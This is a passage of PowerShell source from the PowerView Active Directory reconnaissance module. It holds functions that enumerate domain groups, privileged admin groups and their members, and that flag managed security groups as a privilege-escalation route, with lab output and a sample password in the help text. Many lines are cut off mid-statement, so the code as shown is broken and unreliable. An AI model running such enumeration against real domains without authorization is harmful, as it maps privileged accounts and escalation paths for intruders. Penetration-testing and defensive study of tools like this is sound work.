WinRMRemoteWMIUsers__
Administrators
Users
Guests
Print Operators
Backup Operators
...
.EXAMPLE
Get-DomainGroup *admin* | select distinguishedname
distinguishedname
-----------------
CN=Administrators,CN=Builtin,DC=testlab,DC=local
CN=Hyper-V Administrators,CN=Builtin,DC=testlab,DC=local
CN=Schema Admins,CN=Users,DC=testlab,DC=local
CN=Enterprise Admins,CN=Users,DC=testlab,DC=local
CN=Domain Admins,CN=Users,DC=testlab,DC=local
CN=DnsAdmins,CN=Users,DC=testlab,DC=local
CN=Server Admins,CN=Users,DC=testlab,DC=local
CN=Desktop Admins,CN=Users,DC=testlab,DC=local
.EXAMPLE
Get-DomainGroup -Properties samaccountname -Identity 'S-1-5-21-890171859-3433809279-33661967
samaccountname
--------------
Server Admins
.EXAMPLE
'CN=Desktop Admins,CN=Users,DC=testlab,DC=local' | Get-DomainGroup -Server primary.testlab.loca
VERBOSE: Get-DomainSearcher search string: LDAP://DC=testlab,DC=local
VERBOSE: Get-DomainGroup filter string: (&(objectCategory=group)(|(distinguishedname=CN=Deskto
usncreated : 13245
grouptype : -2147483646
samaccounttype : 268435456
samaccountname : Desktop Admins
whenchanged : 8/10/2016 12:30:30 AM
objectsid : S-1-5-21-890171859-3433809279-3366196753-1118
objectclass : {top, group}
cn : Desktop Admins
usnchanged : 13255
dscorepropagationdata : 1/1/1601 12:00:00 AM
name : Desktop Admins
distinguishedname : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
member : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
whencreated : 8/10/2016 12:29:43 AM
instancetype :4
objectguid : f37903ed-b333-49f4-abaa-46c65e9cca71
objectcategory : CN=Group,CN=Schema,CN=Configuration,DC=testlab,DC=local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainGroup -Credential $Cred
.EXAMPLE
Get-Domain | Select-Object -Expand name
testlab.local
'DEV\Domain Admins' | Get-DomainGroup -Verbose -Properties distinguishedname
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainGroup] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins'
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,D
VERBOSE: [Get-DomainGroup] filter string: (&(objectCategory=group)(|(samAccountName=Domain Ad
distinguishedname
-----------------
CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
.OUTPUTS
PowerView.Group
Custom PSObject with translated group property fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments',
[OutputType('PowerView.Group')]
[CmdletBinding(DefaultParameterSetName = 'AllowDelegation')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberNa
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[Alias('UserName')]
[String]
$MemberIdentity,
[Switch]
$AdminCount,
[ValidateSet('DomainLocal', 'NotDomainLocal', 'Global', 'NotGlobal', 'Universal', 'NotUniversal')]
[Alias('Scope')]
[String]
$GroupScope,
[ValidateSet('Security', 'Distribution', 'CreatedBySystem', 'NotCreatedBySystem')]
[String]
$GroupProperty,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw,
[Switch]
$SSL,
[Switch]
$Obfuscate
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMa
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }
}
PROCESS {
if ($PSBoundParameters['MemberIdentity']) {
if ($SearcherArguments['Properties']) {
$OldProperties = $SearcherArguments['Properties']
}
$SearcherArguments['Identity'] = $MemberIdentity
$SearcherArguments['Raw'] = $True
Get-DomainObject @SearcherArguments | ForEach-Object {
# convert the user/group to a directory entry
$ObjectDirectoryEntry = $_.GetDirectoryEntry()
# cause the cache to calculate the token groups for the user/group
$ObjectDirectoryEntry.RefreshCache('tokenGroups')
$ObjectDirectoryEntry.TokenGroups | ForEach-Object {
# convert the token group sid
$GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value
# ignore the built in groups
if ($GroupSid -notmatch '^S-1-5-32-.*') {
$SearcherArguments['Identity'] = $GroupSid
$SearcherArguments['Raw'] = $False
if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties }
$Group = Get-DomainObject @SearcherArguments
if ($Group) {
$Group.PSObject.TypeNames.Insert(0, 'PowerView.Group')
$Group
}
}
}
}
}
else {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase']))
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replac
Write-Verbose "[Get-DomainGroup] Extracted domain '$IdentityDomain' from '$IdentityIn
$SearcherArguments['Domain'] = $IdentityDomain
$GroupSearcher = Get-DomainSearcher @SearcherArguments
if (-not $GroupSearcher) {
Write-Warning "[Get-DomainGroup] Unable to retrieve domain searcher for '$IdentityD
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToS
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('\')) {
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Conve
if ($ConvertedIdentityInstance) {
$GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.I
$GroupName = $IdentityInstance.Split('\')[1]
$IdentityFilter += "(samAccountName=$GroupName)"
$SearcherArguments['Domain'] = $GroupDomain
Write-Verbose "[Get-DomainGroup] Extracted domain '$GroupDomain' from '$IdentityIns
$GroupSearcher = Get-DomainSearcher @SearcherArguments
}
}
else {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['AdminCount']) {
Write-Verbose '[Get-DomainGroup] Searching for adminCount=1'
$Filter += '(admincount=1)'
}
if ($PSBoundParameters['GroupScope']) {
$GroupScopeValue = $PSBoundParameters['GroupScope']
$Filter = Switch ($GroupScopeValue) {
'DomainLocal' { '(groupType:1.2.840.113556.1.4.803:=4)' }
'NotDomainLocal' { '(!(groupType:1.2.840.113556.1.4.803:=4))' }
'Global' { '(groupType:1.2.840.113556.1.4.803:=2)' }
'NotGlobal' { '(!(groupType:1.2.840.113556.1.4.803:=2))' }
'Universal' { '(groupType:1.2.840.113556.1.4.803:=8)' }
'NotUniversal' { '(!(groupType:1.2.840.113556.1.4.803:=8))' }
}
Write-Verbose "[Get-DomainGroup] Searching for group scope '$GroupScopeValue'"
}
if ($PSBoundParameters['GroupProperty']) {
$GroupPropertyValue = $PSBoundParameters['GroupProperty']
$Filter = Switch ($GroupPropertyValue) {
'Security' { '(groupType:1.2.840.113556.1.4.803:=2147483648)' }
'Distribution' { '(!(groupType:1.2.840.113556.1.4.803:=2147483648))' }
'CreatedBySystem' { '(groupType:1.2.840.113556.1.4.803:=1)' }
'NotCreatedBySystem' { '(!(groupType:1.2.840.113556.1.4.803:=1))' }
}
Write-Verbose "[Get-DomainGroup] Searching for group property '$GroupPropertyValue'"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainGroup] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
$Filter = "(&(objectCategory=group)$Filter)"
Write-Verbose "[Get-DomainGroup] filter string: $($Filter)"
$Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$Filter"
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$Group = $_
}
else {
if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {
$Prop = @{}
foreach ($a in $_.Attributes.Keys | Sort-Object) {
if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'userc
$Prop[$a] = $_.Attributes[$a]
}
else {
$Values = @()
foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {
$Values += [System.Text.Encoding]::UTF8.GetString($v)
}
$Prop[$a] = $Values
}
}
}
else {
$Prop = $_.Properties
}
$Group = Convert-LDAPProperty -Properties $Prop
}
$Group.PSObject.TypeNames.Insert(0, 'PowerView.Group')
$Group
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainGroup] Error disposing of the Results object"
}
}
}
}
}
function New-DomainGroup {
<#
.SYNOPSIS
Creates a new domain group (assuming appropriate permissions) and returns the group object.
TODO: implement all properties that New-ADGroup implements (https://technet.microsoft.com/en-us/lib
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-PrincipalContext
.DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to create a new
DirectoryServices.AccountManagement.GroupPrincipal with the specified
group properties.
.PARAMETER SamAccountName
Specifies the Security Account Manager (SAM) account name of the group to create.
Maximum of 256 characters. Mandatory.
.PARAMETER Name
Specifies the name of the group to create. If not provided, defaults to SamAccountName.
.PARAMETER DisplayName
Specifies the display name of the group to create. If not provided, defaults to SamAccountName.
.PARAMETER Description
Specifies the description of the group to create.
.PARAMETER Domain
Specifies the domain to use to search for user/group principals, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.'
Creates the 'TestGroup' group with the specified description.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' -Credential $Cred
Creates the 'TestGroup' group with the specified description using the specified alternate credentials.
.OUTPUTS
DirectoryServices.AccountManagement.GroupPrincipal
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunc
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('DirectoryServices.AccountManagement.GroupPrincipal')]
Param(
[Parameter(Mandatory = $True)]
[ValidateLength(0, 256)]
[String]
$SamAccountName,
[ValidateNotNullOrEmpty()]
[String]
$Name,
[ValidateNotNullOrEmpty()]
[String]
$DisplayName,
[ValidateNotNullOrEmpty()]
[String]
$Description,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$ContextArguments = @{
'Identity' = $SamAccountName
}
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
$Context = Get-PrincipalContext @ContextArguments
if ($Context) {
$Group = New-Object -TypeName System.DirectoryServices.AccountManagement.GroupPrincipa
# set all the appropriate group parameters
$Group.SamAccountName = $Context.Identity
if ($PSBoundParameters['Name']) {
$Group.Name = $Name
}
else {
$Group.Name = $Context.Identity
}
if ($PSBoundParameters['DisplayName']) {
$Group.DisplayName = $DisplayName
}
else {
$Group.DisplayName = $Context.Identity
}
if ($PSBoundParameters['Description']) {
$Group.Description = $Description
}
Write-Verbose "[New-DomainGroup] Attempting to create group '$SamAccountName'"
try {
$Null = $Group.Save()
Write-Verbose "[New-DomainGroup] Group '$SamAccountName' successfully created"
$Group
}
catch {
Write-Warning "[New-DomainGroup] Error creating group '$SamAccountName' : $_"
}
}
}
function Get-DomainManagedSecurityGroup {
<#
.SYNOPSIS
Returns all security groups in the current (or target) domain that have a manager set.
Author: Stuart Morgan (@ukstufus) <[email protected]>, Will Schroeder (@harmj0y
License: BSD 3-Clause
Required Dependencies: Get-DomainObject, Get-DomainGroup, Get-DomainObjectAcl
.DESCRIPTION
Authority to manipulate the group membership of AD security groups and distribution groups
can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically
used to delegate management authority to distribution groups, but Windows supports security groups
being managed in the same way.
This function searches for AD groups which have a group manager set, and determines whether that
user can manipulate group membership. This could be a useful method of horizontal privilege
escalation, especially if the manager can manipulate the membership of a privileged group.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainManagedSecurityGroup | Export-PowerViewCSV -NoTypeInformation group-managers.csv
Store a list of all security groups with managers in group-managers.csv
.OUTPUTS
PowerView.ManagedSecurityGroup
A custom PSObject describing the managed security group.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ManagedSecurityGroup')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{
'LDAPFilter' = '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))'
'Properties' = 'distinguishedName,managedBy,samaccounttype,samaccountname'
}
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMa
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
}
PROCESS {
if ($PSBoundParameters['Domain']) {
$SearcherArguments['Domain'] = $Domain
$TargetDomain = $Domain
}
else {
$TargetDomain = $Env:USERDNSDOMAIN
}
# go through the list of security groups on the domain and identify those who have a manager
Get-DomainGroup @SearcherArguments | ForEach-Object {
$SearcherArguments['Properties'] = 'distinguishedname,name,samaccounttype,samaccountnam
$SearcherArguments['Identity'] = $_.managedBy
$Null = $SearcherArguments.Remove('LDAPFilter')
# $SearcherArguments
# retrieve the object that the managedBy DN refers to
$GroupManager = Get-DomainObject @SearcherArguments
# Write-Host "GroupManager: $GroupManager"
$ManagedGroup = New-Object PSObject
$ManagedGroup | Add-Member Noteproperty 'GroupName' $_.samaccountname
$ManagedGroup | Add-Member Noteproperty 'GroupDistinguishedName' $_.distinguishedname
$ManagedGroup | Add-Member Noteproperty 'ManagerName' $GroupManager.samaccountnam
$ManagedGroup | Add-Member Noteproperty 'ManagerDistinguishedName' $GroupManager.dis
# determine whether the manager is a user or a group
if ($GroupManager.samaccounttype -eq 0x10000000) {
$ManagedGroup | Add-Member Noteproperty 'ManagerType' 'Group'
}
elseif ($GroupManager.samaccounttype -eq 0x30000000) {
$ManagedGroup | Add-Member Noteproperty 'ManagerType' 'User'
}
$ACLArguments = @{
'Identity' = $_.distinguishedname
'RightsFilter' = 'WriteMembers'
}
if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPage
if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTim
if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential }
# # TODO: correct!
# # find the ACLs that relate to the ability to write to the group
# $xacl = Get-DomainObjectAcl @ACLArguments -Verbose
# # $ACLArguments
# # double-check that the manager
# if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AceType -eq '
# $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $True
#}
# else {
# $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $False
#}
$ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' 'UNKNOWN'
$ManagedGroup.PSObject.TypeNames.Insert(0, 'PowerView.ManagedSecurityGroup')
$ManagedGroup
}
}
}
function Get-DomainGroupMember {
<#
.SYNOPSIS
Return the members of a specific domain group.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-DomainGroup, Get-DomainGroupMember, Conver
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for the specified
group matching the criteria. Each result is then rebound and the full user
or group object is returned.
.PARAMETER Identity
A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=lo
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a
specifying the group to query for. Wildcards accepted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Recurse
Switch. If the group member is a group, recursively try to query its members as well.
.PARAMETER RecurseUsingMatchingRule
Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query to recurse.
Much faster than manual recursion, but doesn't reveal cross-domain groups,
and only returns user accounts (no nested group objects themselves).
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainGroupMember "Desktop Admins"
GroupDomain : testlab.local
GroupName : Desktop Admins
GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
MemberDomain : testlab.local
MemberName : Testing Group
MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local
MemberObjectClass : group
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129
GroupDomain : testlab.local
GroupName : Desktop Admins
GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
MemberDomain : testlab.local
MemberName : arobbins.a
MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
MemberObjectClass : user
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112
.EXAMPLE
'Desktop Admins' | Get-DomainGroupMember -Recurse
GroupDomain : testlab.local
GroupName : Desktop Admins
GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
MemberDomain : testlab.local
MemberName : Testing Group
MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local
MemberObjectClass : group
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129
GroupDomain : testlab.local
GroupName : Testing Group
GroupDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local
MemberDomain : testlab.local
MemberName : harmj0y
MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local
MemberObjectClass : user
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108
GroupDomain : testlab.local
GroupName : Desktop Admins
GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
MemberDomain : testlab.local
MemberName : arobbins.a
MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
MemberObjectClass : user
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112
.EXAMPLE
Get-DomainGroupMember -Domain testlab.local -Identity 'Desktop Admins' -RecurseUingMatchingRule
GroupDomain : testlab.local
GroupName : Desktop Admins
GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
MemberDomain : testlab.local
MemberName : harmj0y
MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local
MemberObjectClass : user
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108
GroupDomain : testlab.local
GroupName : Desktop Admins
GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
MemberDomain : testlab.local
MemberName : arobbins.a
MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
MemberObjectClass : user
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112
.EXAMPLE
Get-DomainGroup *admin* -Properties samaccountname | Get-DomainGroupMember
.EXAMPLE
'CN=Enterprise Admins,CN=Users,DC=testlab,DC=local', 'Domain Admins' | Get-DomainGroupMember
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainGroupMember -Credential $Cred -Identity 'Domain Admins'
.EXAMPLE
Get-Domain | Select-Object -Expand name
testlab.local
'dev\domain admins' | Get-DomainGroupMember -Verbose
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainGroupMember] Extracted domain 'dev.testlab.local' from 'dev\domain admins'
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,D
VERBOSE: [Get-DomainGroupMember] Get-DomainGroupMember filter string: (&(objectCategory=grou
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,D
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=user1,CN=
GroupDomain : dev.testlab.local
GroupName : Domain Admins
GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
MemberDomain : dev.testlab.local
MemberName : user1
MemberDistinguishedName : CN=user1,CN=Users,DC=dev,DC=testlab,DC=local
MemberObjectClass : user
MemberSID : S-1-5-21-339048670-1233568108-4141518690-201108
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,D
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=Administra
GroupDomain : dev.testlab.local
GroupName : Domain Admins
GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
MemberDomain : dev.testlab.local
MemberName : Administrator
MemberDistinguishedName : CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local
MemberObjectClass : user
MemberSID : S-1-5-21-339048670-1233568108-4141518690-500
.OUTPUTS
PowerView.GroupMember
Custom PSObject with translated group member property fields.
.LINK
http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-director
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments',
[OutputType('PowerView.GroupMember')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPr
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberNa
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Parameter(ParameterSetName = 'ManualRecurse')]
[Switch]
$Recurse,
[Parameter(ParameterSetName = 'RecurseUsingMatchingRule')]
[Switch]
$RecurseUsingMatchingRule,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Parameter(Mandatory = $false)]
[Switch]
$SSL, # dummy for searcher arguments
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{
'Properties' = 'member,samaccountname,distinguishedname'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$ADNameArguments = @{}
if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
}
PROCESS {
$GroupSearcher = Get-DomainSearcher @SearcherArguments
if ($GroupSearcher) {
if ($PSBoundParameters['RecurseUsingMatchingRule']) {
